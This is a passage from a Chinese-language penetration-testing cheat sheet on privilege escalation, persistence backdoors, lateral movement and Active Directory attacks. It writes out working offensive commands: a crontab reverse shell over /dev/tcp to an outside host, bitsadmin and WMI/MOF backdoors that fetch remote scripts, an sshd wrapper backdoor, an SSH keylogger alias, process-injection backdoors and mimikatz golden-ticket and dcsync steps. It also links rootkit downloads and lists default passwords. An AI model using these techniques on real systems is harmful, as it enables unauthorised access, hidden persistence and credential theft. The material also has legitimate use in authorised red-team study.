| * cmstp.exe 799 | * 修改环境变量,劫持高权限.Net程序 800 | * 修改注册表HKCU\Software\Classes\CLSID,劫持高权限程序 801 | * 直接提权过UAC 802 | 803 | ##### 常用工具 804 | 805 | * [UACME ](https://github.com/hfiref0x/UACME) 806 | * [Bypass-UAC ](https://github.com/FuzzySecurity/PowerShell-Suite/tree/master/Bypass-UAC) 807 | * [Yamabiko ](https://github.com/FuzzySecurity/PowerShell-Suite/tree/master/Bypass-UAC/Yamabiko) 808 | * ... 809 | 810 | #### 提权 811 | * windows内核漏洞提权 812 | >检测类:[Windows-Exploit-Suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester),[WinSystemHelper](https://github.com/brianwrf/WinSystemHelper),[wesng](https://github.com/bitsadmin/wesng) 813 | 814 | >利用类:[windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits),[BeRoot](https://github.com/AlessandroZ/BeRoot.git) 815 | 816 | * 服务提权 817 | >数据库服务,ftp服务等 818 | 819 | * WINDOWS错误系统配置 820 | * 系统服务的错误权限配置漏洞 821 | * 不安全的注册表权限配置 822 | * 不安全的文件/文件夹权限配置 823 | * 计划任务 824 | * 任意用户以NT AUTHORITY\SYSTEM权限安装msi 825 | * 提权脚本 826 | >[PowerUP](https://github.com/HarmJ0y/PowerUp/blob/master/PowerUp.ps1),[ElevateKit](https://github.com/rsmudge/ElevateKit) 827 | 828 | ### Linux 829 | #### 内核溢出提权 830 | [linux-kernel-exploits ](https://github.com/SecWiki/linux-kernel-exploits) 831 | #### 计划任务 832 | ``` 833 | crontab -l 834 | ls -alh /var/spool/cron 835 | ls -al /etc/ | grep cron 836 | ls -al /etc/cron* 837 | cat /etc/cron* 838 | cat /etc/at.allow 839 | cat /etc/at.deny 840 | cat /etc/cron.allow 841 | cat /etc/cron.deny 842 | cat /etc/crontab 843 | cat /etc/anacrontab 844 | cat /var/spool/cron/crontabs/root 845 | ``` 846 | #### SUID 847 | ``` 848 | find / -user root -perm -4000 -print 2>/dev/null 849 | find / -perm -u=s -type f 2>/dev/null 850 | find / -user root -perm -4000 -exec ls -ldb {} \; 851 | ``` 852 | 寻找可利用bin:https://gtfobins.github.io/ 853 | #### 系统服务的错误权限配置漏洞 854 | ``` 855 | cat /var/apache2/config.inc 856 | cat /var/lib/mysql/mysql/user.MYD 857 | cat /root/anaconda-ks.cfg 858 | ``` 859 | 860 | #### 不安全的文件/文件夹权限配置 861 | ``` 862 | cat ~/.bash_history 863 | cat ~/.nano_history 864 | cat ~/.atftp_history 865 | cat ~/.mysql_history 866 | cat ~/.php_history 867 | ``` 868 | #### 找存储的明文用户名,密码 869 | ``` 870 | grep -i user [filename] 871 | grep -i pass [filename] 872 | grep -C 5 "password" [filename] 873 | find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla 874 | ``` 875 | 876 | ## 权限维持 877 | 878 | ### 系统后门 879 | #### Windows 880 | ##### 1、密码记录工具 881 | WinlogonHack 882 | WinlogonHack 是一款用来劫取远程3389登录密码的工具,在 WinlogonHack 之前有 一个 Gina 木马主要用来截取 Windows 2000下的密码,WinlogonHack 主要用于截 取 Windows XP 以及 Windows 2003 Server。 883 | 键盘记录器 884 | 安装键盘记录的目地不光是记录本机密码,是记录管理员一切的密码,比如说信箱,WEB 网页密码等等,这样也可以得到管理员的很多信息。 885 | NTPass 886 | 获取管理员口令,一般用 gina 方式来,但有些机器上安装了 pcanywhere 等软件,会导致远程登录的时候出现故障,本软件可实现无障碍截取口令。 887 | Linux 下 openssh 后门 888 | 重新编译运行的sshd服务,用于记录用户的登陆密码。 889 | ##### 2、常用的存储Payload位置 890 | **WMI** : 891 | 存储: 892 | ``` 893 | $StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null) 894 | $StaticClass.Name = 'Win32_Command' 895 | $StaticClass.Put() 896 | $StaticClass.Properties.Add('Command' , $Payload) 897 | $StaticClass.Put() 898 | ``` 899 | 读取: 900 | ``` 901 | $Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value 902 | ``` 903 | 904 | **包含数字签名的PE文件** 905 | 利用文件hash的算法缺陷,向PE文件中隐藏Payload,同时不影响该PE文件的数字签名 906 | **特殊ADS** 907 | … 908 | ``` 909 | type putty.exe > ...:putty.exe 910 | wmic process call create c:\test\ads\...:putty.exe 911 | ``` 912 | 特殊COM文件 913 | ``` 914 | type putty.exe > \\.\C:\test\ads\COM1:putty.exe 915 | wmic process call create \\.\C:\test\ads\COM1:putty.exe 916 | ``` 917 | 磁盘根目录 918 | ``` 919 | type putty.exe >C:\:putty.exe 920 | wmic process call create C:\:putty.exe 921 | ``` 922 | ##### 3、Run/RunOnce Keys 923 | 用户级 924 | ``` 925 | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 926 | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce 927 | ``` 928 | 管理员 929 | ``` 930 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 931 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 932 | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run 933 | ``` 934 | ##### 4、BootExecute Key 935 | 由于smss.exe在Windows子系统加载之前启动,因此会调用配置子系统来加载当前的配置单元,具体注册表键值为: 936 | ``` 937 | HKLM\SYSTEM\CurrentControlSet\Control\hivelist 938 | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Session Manager 939 | ``` 940 | ##### 5、Userinit Key 941 | WinLogon进程加载的login scripts,具体键值: 942 | ``` 943 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 944 | ``` 945 | ##### 6、Startup Keys 946 | ``` 947 | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders 948 | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders 949 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders 950 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders 951 | ``` 952 | ##### 7、Services 953 | 创建服务 954 | ``` 955 | sc create [ServerName] binPath= BinaryPathName 956 | ``` 957 | ##### 8、Browser Helper Objects 958 | 本质上是Internet Explorer启动时加载的DLL模块 959 | ``` 960 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects 961 | ``` 962 | ##### 9、AppInit_DLLs 963 | 加载User32.dll会加载的DLL 964 | ``` 965 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs 966 | ``` 967 | ##### 10、文件关联 968 | ``` 969 | HKEY_LOCAL_MACHINE\Software\Classes 970 | HKEY_CLASSES_ROOT 971 | ``` 972 | ##### 11、[bitsadmin](http://www.liuhaihua.cn/archives/357579.html) 973 | ``` 974 | bitsadmin /create backdoor 975 | bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe 976 | bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://host.com/calc.sct scrobj.dll" 977 | bitsadmin /Resume backdoor 978 | ``` 979 | ##### 12、[mof ](https://evi1cg.me/archives/Powershell_MOF_Backdoor.html) 980 | ``` 981 | pragma namespace("\\\\.\\root\\subscription") 982 | instance of __EventFilter as $EventFilter 983 | { 984 | EventNamespace = "Root\\Cimv2"; 985 | Name = "filtP1"; 986 | Query = "Select * From __InstanceModificationEvent " 987 | "Where TargetInstance Isa \"Win32_LocalTime\" " 988 | "And TargetInstance.Second = 1"; 989 | QueryLanguage = "WQL"; 990 | }; 991 | instance of ActiveScriptEventConsumer as $Consumer 992 | { 993 | Name = "consP1"; 994 | ScriptingEngine = "JScript"; 995 | ScriptText = "GetObject(\"script:https://host.com/test\")"; 996 | }; 997 | instance of __FilterToConsumerBinding 998 | { 999 | Consumer = $Consumer; 1000 | Filter = $EventFilter; 1001 | }; 1002 | ``` 1003 | 管理员执行: 1004 | ``` 1005 | mofcomp test.mof 1006 | ``` 1007 | ##### 13、[wmi](https://3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe) 1008 | 1009 | 每隔60秒执行一次notepad.exe 1010 | ``` 1011 | wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" 1012 | wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows\System32\notepad.exe",CommandLineTemplate="C:\Windows\System32\notepad.exe" 1013 | wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\"" 1014 | ``` 1015 | ##### 14、[Userland Persistence With Scheduled Tasks](https://3gstudent.github.io/Userland-registry-hijacking) 1016 | 劫持计划任务UserTask,在系统启动时加载dll 1017 | ``` 1018 | function Invoke-ScheduledTaskComHandlerUserTask 1019 | { 1020 | [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')] 1021 | Param ( 1022 | [Parameter(Mandatory = $True)] 1023 | [ValidateNotNullOrEmpty()] 1024 | [String] 1025 | $Command, 1026 | 1027 | [Switch] 1028 | $Force 1029 | ) 1030 | $ScheduledTaskCommandPath = "HKCU:\Software\Classes\CLSID\{58fb76b9-ac85-4e55-ac04-427593b1d060}\InprocServer32" 1031 | if ($Force -or ((Get-ItemProperty -Path $ScheduledTaskCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){ 1032 | New-Item $ScheduledTaskCommandPath -Force | 1033 | New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null 1034 | }else{ 1035 | Write-Verbose "Key already exists, consider using -Force" 1036 | exit 1037 | } 1038 | 1039 | if (Test-Path $ScheduledTaskCommandPath) { 1040 | Write-Verbose "Created registry entries to hijack the UserTask" 1041 | }else{ 1042 | Write-Warning "Failed to create registry key, exiting" 1043 | exit 1044 | } 1045 | } 1046 | Invoke-ScheduledTaskComHandlerUserTask -Command "C:\test\testmsg.dll" -Verbose 1047 | ``` 1048 | ##### 15、[Netsh](https://3gstudent.github.io/Netsh-persistence) 1049 | ``` 1050 | netsh add helper c:\test\netshtest.dll 1051 | ``` 1052 | 后门触发:每次调用netsh 1053 | >dll编写:https://github.com/outflanknl/NetshHelperBeacon 1054 | 1055 | ##### 16、[Shim](https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84Application-Compatibility-Shims) 1056 | 常用方式: 1057 | InjectDll 1058 | RedirectShortcut 1059 | RedirectEXE 1060 | ##### 17、[DLL劫持](https://3gstudent.github.io/DLL%E5%8A%AB%E6%8C%81%E6%BC%8F%E6%B4%9E%E8%87%AA%E5%8A%A8%E5%8C%96%E8%AF%86%E5%88%AB%E5%B7%A5%E5%85%B7Rattler%E6%B5%8B%E8%AF%95) 1061 | 通过Rattler自动枚举进程,检测是否存在可用dll劫持利用的进程 1062 | 使用:Procmon半自动测试更精准,常规生成的dll会导致程序执行报错或中断,使用AheadLib配合生成dll劫持利用源码不会影响程序执行 1063 | 工具:https://github.com/sensepost/rattler 1064 | 工具:https://github.com/Yonsm/AheadLib 1065 | ##### 18、[DoubleAgent ](https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84Application-Verifier(DoubleAgent%E5%88%A9%E7%94%A8%E4%BB%8B%E7%BB%8D)) 1066 | 编写自定义Verifier provider DLL 1067 | 通过Application Verifier进行安装 1068 | 注入到目标进程执行payload 1069 | 每当目标进程启动,均会执行payload,相当于一个自启动的方式 1070 | POC : https://github.com/Cybellum/DoubleAgent 1071 | ##### 19、[waitfor.exe ](https://3gstudent.github.io/Use-Waitfor.exe-to-maintain-persistence) 1072 | 不支持自启动,但可远程主动激活,后台进程显示为waitfor.exe 1073 | POC : https://github.com/3gstudent/Waitfor-Persistence 1074 | ##### 20、[AppDomainManager](https://3gstudent.github.io/Use-AppDomainManager-to-maintain-persistence) 1075 | 针对.Net程序,通过修改AppDomainManager能够劫持.Net程序的启动过程。如果劫持了系统常见.Net程序如powershell.exe的启动过程,向其添加payload,就能实现一种被动的后门触发机制 1076 | ##### 21、Office 1077 | [劫持Office软件的特定功能](https://3gstudent.github.io/%E5%88%A9%E7%94%A8BDF%E5%90%91DLL%E6%96%87%E4%BB%B6%E6%A4%8D%E5%85%A5%E5%90%8E%E9%97%A8):通过dll劫持,在Office软件执行特定功能时触发后门 1078 | [利用VSTO实现的office后门](https://3gstudent.github.io/%E5%88%A9%E7%94%A8VSTO%E5%AE%9E%E7%8E%B0%E7%9A%84office%E5%90%8E%E9%97%A8) 1079 | [Office加载项](https://github.com/3gstudent/Office-Persistence) 1080 | * Word WLL 1081 | * Excel XLL 1082 | * Excel VBA add-ins 1083 | * PowerPoint VBA add-ins 1084 | 1085 | >参考1 :https://3gstudent.github.io/Use-Office-to-maintain-persistence 1086 | 1087 | >参考2 :https://3gstudent.github.io/Office-Persistence-on-x64-operating-system 1088 | 1089 | 1090 | ##### 22、[CLR](https://3gstudent.github.io/Use-CLR-to-maintain-persistence) 1091 | 无需管理员权限的后门,并能够劫持所有.Net程序 1092 | POC:https://github.com/3gstudent/CLR-Injection 1093 | ##### 23、[msdtc](https://3gstudent.github.io/Use-msdtc-to-maintain-persistence) 1094 | 利用MSDTC服务加载dll,实现自启动,并绕过Autoruns对启动项的检测 1095 | 利用:向 %windir%\system32\目录添加dll并重命名为oci.dll 1096 | ##### 24、[Hijack CAccPropServicesClass and MMDeviceEnumerato](https://3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-CAccPropServicesClass-and-MMDeviceEnumerator) 1097 | 利用COM组件,不需要重启系统,不需要管理员权限 1098 | 通过修改注册表实现 1099 | POC:https://github.com/3gstudent/COM-Object-hijacking 1100 | ##### 25、[Hijack explorer.exe](https://3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-explorer.exe) 1101 | COM组件劫持,不需要重启系统,不需要管理员权限 1102 | 通过修改注册表实现 1103 | ``` 1104 | HKCU\Software\Classes\CLSID{42aedc87-2188-41fd-b9a3-0c966feabec1} 1105 | HKCU\Software\Classes\CLSID{fbeb8a05-beee-4442-804e-409d6c4515e9} 1106 | HKCU\Software\Classes\CLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7} 1107 | HKCU\Software\Classes\Wow6432Node\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E} 1108 | ``` 1109 | ##### 26、Windows FAX DLL Injection 1110 | 通过DLL劫持,劫持Explorer.exe对`fxsst.dll`的加载 1111 | Explorer.exe在启动时会加载`c:\Windows\System32\fxsst.dll`(服务默认开启,用于传真服务)将payload.dll保存在`c:\Windows\fxsst.dll`,能够实现dll劫持,劫持Explorer.exe对`fxsst.dll`的加载 1112 | ##### 27、特殊注册表键值 1113 | 在注册表启动项创建特殊名称的注册表键值,用户正常情况下无法读取(使用Win32 API),但系统能够执行(使用Native API)。 1114 | 1115 | [《渗透技巧——"隐藏"注册表的创建》](https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%9A%90%E8%97%8F-%E6%B3%A8%E5%86%8C%E8%A1%A8%E7%9A%84%E5%88%9B%E5%BB%BA) 1116 | 1117 | [《渗透技巧——"隐藏"注册表的更多测试》](https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%9A%90%E8%97%8F-%E6%B3%A8%E5%86%8C%E8%A1%A8%E7%9A%84%E6%9B%B4%E5%A4%9A%E6%B5%8B%E8%AF%95) 1118 | ##### 28、快捷方式后门 1119 | 替换我的电脑快捷方式启动参数 1120 | POC : https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Backdoor/LNK_backdoor.ps1 1121 | ##### 29、[Logon Scripts](https://3gstudent.github.io/Use-Logon-Scripts-to-maintain-persistence) 1122 | ``` 1123 | New-ItemProperty "HKCU:\Environment\" UserInitMprLogonScript -value "c:\test\11.bat" -propertyType string | Out-Null 1124 | ``` 1125 | ##### 30、[Password Filter DLL](https://3gstudent.github.io/Password-Filter-DLL%E5%9C%A8%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84%E5%BA%94%E7%94%A8) 1126 | ##### 31、[利用BHO实现IE浏览器劫持](https://3gstudent.github.io/%E5%88%A9%E7%94%A8BHO%E5%AE%9E%E7%8E%B0IE%E6%B5%8F%E8%A7%88%E5%99%A8%E5%8A%AB%E6%8C%81) 1127 | 1128 | #### Linux 1129 | ##### crontab 1130 | 每60分钟反弹一次shell给dns.wuyun.org的53端口 1131 | ``` 1132 | #!bash 1133 | (crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab - 1134 | ``` 1135 | ##### 硬链接sshd 1136 | ``` 1137 | #!bash 1138 | ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=2333; 1139 | ``` 1140 | 链接:ssh root@192.168.206.142 -p 2333 1141 | ##### SSH Server wrapper 1142 | ``` 1143 | #!bash 1144 | cd /usr/sbin 1145 | mv sshd ../bin 1146 | echo '#!/usr/bin/perl' >sshd 1147 | echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd 1148 | echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd 1149 | chmod u+x sshd 1150 | //不用重启也行 1151 | /etc/init.d/sshd restart 1152 | ``` 1153 | ``` 1154 | socat STDIO TCP4:192.168.206.142:22,sourceport=13377 1155 | ``` 1156 | ##### SSH keylogger 1157 | vim当前用户下的.bashrc文件,末尾添加 1158 | ``` 1159 | #!bash 1160 | alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh' 1161 | ``` 1162 | source .bashrc 1163 | ##### Cymothoa_进程注入backdoor 1164 | ``` 1165 | ./cymothoa -p 2270 -s 1 -y 7777 1166 | ``` 1167 | ``` 1168 | nc -vv ip 7777 1169 | ``` 1170 | ##### rootkit 1171 | 1172 | * [openssh_rootkit](http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz) 1173 | * [Kbeast_rootkit ](http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz) 1174 | * Mafix + Suterusu rootkit 1175 | 1176 | ##### Tools 1177 | 1178 | * [Vegile ](https://github.com/Screetsec/Vegile) 1179 | * [backdoor ](https://github.com/icco/backdoor) 1180 | 1181 | ### WEB后门 1182 | 1183 | PHP Meterpreter后门 1184 | Aspx Meterpreter后门 1185 | weevely 1186 | webacoo 1187 | .... 1188 | 1189 | ## 横向渗透 1190 | ### 端口渗透 1191 | #### 端口扫描 1192 | * 1.端口的指纹信息(版本信息) 1193 | * 2.端口所对应运行的服务 1194 | * 3.常见的默认端口号 1195 | * 4.尝试弱口令 1196 | 1197 | #### 端口爆破 1198 | [hydra ](https://github.com/vanhauser-thc/thc-hydra) 1199 | #### 端口弱口令 1200 | * NTScan 1201 | * Hscan 1202 | * 自写脚本 1203 | 1204 | #### 端口溢出 1205 | **smb** 1206 | * ms08067 1207 | * ms17010 1208 | * ms11058 1209 | * ... 1210 | 1211 | **apache** 1212 | **ftp** 1213 | **...** 1214 | 1215 | #### 常见的默认端口 1216 | ##### 1、web类(web漏洞/敏感目录) 1217 | 第三方通用组件漏洞: struts thinkphp jboss ganglia zabbix ... 1218 | ``` 1219 | 80 web 1220 | 80-89 web 1221 | 8000-9090 web 1222 | ``` 1223 | ##### 2、数据库类(扫描弱口令) 1224 | ``` 1225 | 1433 MSSQL 1226 | 1521 Oracle 1227 | 3306 MySQL 1228 | 5432 PostgreSQL 1229 | 50000 DB2 1230 | ``` 1231 | ##### 3、特殊服务类(未授权/命令执行类/漏洞) 1232 | ``` 1233 | 443 SSL心脏滴血 1234 | 445 ms08067/ms11058/ms17010等 1235 | 873 Rsync未授权 1236 | 5984 CouchDB http://xxx:5984/_utils/ 1237 | 6379 redis未授权 1238 | 7001,7002 WebLogic默认弱口令,反序列 1239 | 9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞 1240 | 11211 memcache未授权访问 1241 | 27017,27018 Mongodb未授权访问 1242 | 50000 SAP命令执行 1243 | 50070,50030 hadoop默认端口未授权访问 1244 | ``` 1245 | ##### 4、常用端口类(扫描弱口令/端口爆破) 1246 | ``` 1247 | 21 ftp 1248 | 22 SSH 1249 | 23 Telnet 1250 | 445 SMB弱口令扫描 1251 | 2601,2604 zebra路由,默认密码zebra 1252 | 3389 远程桌面 1253 | ``` 1254 | ##### 5、端口合计所对应的服务 1255 | ``` 1256 | 21 ftp 1257 | 22 SSH 1258 | 23 Telnet 1259 | 25 SMTP 1260 | 53 DNS 1261 | 69 TFTP 1262 | 80 web 1263 | 80-89 web 1264 | 110 POP3 1265 | 135 RPC 1266 | 139 NETBIOS 1267 | 143 IMAP 1268 | 161 SNMP 1269 | 389 LDAP 1270 | 443 SSL心脏滴血以及一些web漏洞测试 1271 | 445 SMB 1272 | 512,513,514 Rexec 1273 | 873 Rsync未授权 1274 | 1025,111 NFS 1275 | 1080 socks 1276 | 1158 ORACLE EMCTL2601,2604 zebra路由,默认密码zebra案 1277 | 1433 MSSQL (暴力破解) 1278 | 1521 Oracle:(iSqlPlus Port:5560,7778) 1279 | 2082/2083 cpanel主机管理系统登陆 (国外用较多) 1280 | 2222 DA虚拟主机管理系统登陆 (国外用较多) 1281 | 2601,2604 zebra路由,默认密码zebra 1282 | 3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了 1283 | 3306 MySQL (暴力破解) 1284 | 3312/3311 kangle主机管理系统登陆 1285 | 3389 远程桌面 1286 | 3690 svn 1287 | 4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网 1288 | 4848 GlassFish web中间件 弱口令:admin/adminadmin 1289 | 5432 PostgreSQL 1290 | 5900 vnc 1291 | 5984 CouchDB http://xxx:5984/_utils/ 1292 | 6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网 1293 | 6379 redis未授权 1294 | 7001,7002 WebLogic默认弱口令,反序列 1295 | 7778 Kloxo主机控制面板登录 1296 | 8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上 1297 | 8080 tomcat/WDCd/ 主机管理系统,默认弱口令 1298 | 8080,8089,9090 JBOSS 1299 | 8081 Symantec AV/Filter for MSE 1300 | 8083 Vestacp主机管理系统 (国外用较多) 1301 | 8649 ganglia 1302 | 8888 amh/LuManager 主机管理系统默认端口 1303 | 9000 fcgi fcig php执行 1304 | 9043 websphere[web中间件] 弱口令: admin/admin websphere/ websphere ststem/manager 1305 | 9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞 1306 | 10000 Virtualmin/Webmin 服务器虚拟主机管理系统 1307 | 11211 memcache未授权访问 1308 | 27017,27018 Mongodb未授权访问 1309 | 28017 mongodb统计页面 1310 | 50000 SAP命令执行 1311 | 50060 hadoop 1312 | 50070,50030 hadoop默认端口未授权访问 1313 | ``` 1314 | ### 域渗透 1315 | #### 信息搜集 1316 | ##### powerview.ps1 1317 | ``` 1318 | Get-NetDomain - gets the name of the current user's domain 1319 | Get-NetForest - gets the forest associated with the current user's domain 1320 | Get-NetForestDomains - gets all domains for the current forest 1321 | Get-NetDomainControllers - gets the domain controllers for the current computer's domain 1322 | Get-NetCurrentUser - gets the current [domain\]username 1323 | Get-NetUser - returns all user objects, or the user specified (wildcard specifiable) 1324 | Get-NetUserSPNs - gets all user ServicePrincipalNames 1325 | Get-NetOUs - gets data for domain organization units 1326 | Get-NetGUIDOUs - finds domain OUs linked to a specific GUID 1327 | Invoke-NetUserAdd - adds a local or domain user 1328 | Get-NetGroups - gets a list of all current groups in the domain 1329 | Get-NetGroup - gets data for each user in a specified domain group 1330 | Get-NetLocalGroups - gets a list of localgroups on a remote host or hosts 1331 | Get-NetLocalGroup - gets the members of a localgroup on a remote host or hosts 1332 | Get-NetLocalServices - gets a list of running services/paths on a remote host or hosts 1333 | Invoke-NetGroupUserAdd - adds a user to a specified local or domain group 1334 | Get-NetComputers - gets a list of all current servers in the domain 1335 | Get-NetFileServers - get a list of file servers used by current domain users 1336 | Get-NetShare - gets share information for a specified server 1337 | Get-NetLoggedon - gets users actively logged onto a specified server 1338 | Get-NetSessions - gets active sessions on a specified server 1339 | Get-NetFileSessions - returned combined Get-NetSessions and Get-NetFiles 1340 | Get-NetConnections - gets active connections to a specific server resource (share) 1341 | Get-NetFiles - gets open files on a server 1342 | Get-NetProcesses - gets the remote processes and owners on a remote server 1343 | ``` 1344 | PowerView-2.0-tricks: 1345 | ``` 1346 | https://gist.github.com/HarmJ0y/3328d954607d71362e3c 1347 | ``` 1348 | PowerView-3.0-tricks 1349 | ``` 1350 | https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993 1351 | ``` 1352 | ##### BloodHound 1353 | 1354 | **获取某OU下所有机器信息** 1355 | ``` 1356 | { 1357 | "name": "Find the specificed OU computers", 1358 | "queryList": [ 1359 | { 1360 | "final": false, 1361 | "title": "Select a OU...", 1362 | "query": "MATCH (n:OU) RETURN distinct n.name ORDER BY n.name DESC" 1363 | }, 1364 | { 1365 | "final": true, 1366 | "query": "MATCH (m:OU {name: $result}) with m MATCH p=(o:OU {objectid: m.objectid})-[r:Contains*1..]->(n:Computer) RETURN p", 1367 | "allowCollapse": true, 1368 | "endNode": "{}" 1369 | } 1370 | ] 1371 | } 1372 | ``` 1373 | 1374 | **自动标记owned用户及机器** 1375 | 1376 | [SyncDog](https://github.com/Lz1y/SyncDog) 1377 | 1378 | 1379 | ##### 获取域内DNS信息 1380 | * [adidnsdump](https://github.com/dirkjanm/adidnsdump) 1381 | * [域渗透——DNS记录的获取](https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-DNS%E8%AE%B0%E5%BD%95%E7%9A%84%E8%8E%B7%E5%8F%96) 1382 | ​ 1383 | #### 获取域控的方法 1384 | ##### SYSVOL 1385 | SYSVOL是指存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制。 Sysvol文件夹是安装AD时创建的,它用来存放GPO、Script等信息。同时,存放在Sysvol文件夹中的信息,会复制到域中所有DC上。 1386 | 相关阅读: 1387 | * [寻找SYSVOL里的密码和攻击GPP(组策略偏好) ](https://www.secpulse.com/archives/42175.html) 1388 | * [Windows Server 2008 R2之四管理Sysvol文件夹 ](http://blog.51cto.com/ycrsjxy/203095) 1389 | * [SYSVOL中查找密码并利用组策略首选项 ](https://adsecurity.org/?p=2288) 1390 | * [利用SYSVOL还原组策略中保存的密码](https://xz.aliyun.com/t/1653) 1391 | 1392 | ##### MS14-068 Kerberos 1393 | ``` 1394 | python ms14-068.py -u 域用户@域名 -p 密码 -s 用户SID -d 域主机 1395 | ``` 1396 | 利用mimikatz将工具得到的TGT_domainuser@SERVER.COM.ccache写入内存,创建缓存证书: 1397 | ``` 1398 | mimikatz.exe "kerberos::ptc c:TGT_darthsidious@pentest.com.ccache" exit 1399 | net use k: \pentest.comc$ 1400 | ``` 1401 | 相关阅读 : 1402 | * [Kerberos的工具包PyKEK](http://adsecurity.org/?p=676) 1403 | * [深入解读MS14-068漏洞](http://www.freebuf.com/vuls/56081.html) 1404 | * [Kerberos的安全漏洞](https://adsecurity.org/?p=541) 1405 | 1406 | ##### SPN扫描 1407 | Kerberoast可以作为一个有效的方法从Active Directory中以普通用户的身份提取服务帐户凭据,无需向目标系统发送任何数据包。 1408 | SPN是服务在使用Kerberos身份验证的网络上的唯一标识符。它由服务类,主机名和端口组成。在使用Kerberos身份验证的网络中,必须在内置计算机帐户(如NetworkService或LocalSystem)或用户帐户下为服务器注册SPN。对于内部帐户,SPN将自动进行注册。但是,如果在域用户帐户下运行服务,则必须为要使用的帐户的手动注册SPN。 1409 | SPN扫描的主要好处是,SPN扫描不需要连接到网络上的每个IP来检查服务端口,SPN通过LDAP查询向域控执行服务发现,SPN查询是Kerberos的票据行为一部分,因此比较难检测SPN扫描。 1410 | 相关阅读 : 1411 | * [非扫描式的SQL Server发现](https://blog.netspi.com/locate-and-attack-domain-sql-servers-without-scanning/) 1412 | * [SPN扫描](https://adsecurity.org/?p=1508) 1413 | * [扫描SQLServer的脚本](https://github.com/PyroTek3/PowerShell-AD-Recon) 1414 | 1415 | ##### Kerberos的黄金门票 1416 | 在域上抓取的哈希 1417 | ``` 1418 | lsadump::dcsync /domain:pentest.com /user:krbtgt 1419 | ``` 1420 | ``` 1421 | kerberos::purge 1422 | kerberos::golden /admin:administrator /domain:域 /sid:SID /krbtgt:hash值 /ticket:adinistrator.kiribi 1423 | kerberos::ptt administrator.kiribi 1424 | kerberos::tgt 1425 | net use k: \pnet use k: \pentest.comc$ 1426 | ``` 1427 | 相关阅读 : 1428 | * https://adsecurity.org/?p=1640 1429 | * [域服务账号破解实践](http://bobao.360.cn/learning/detail/3564.html) 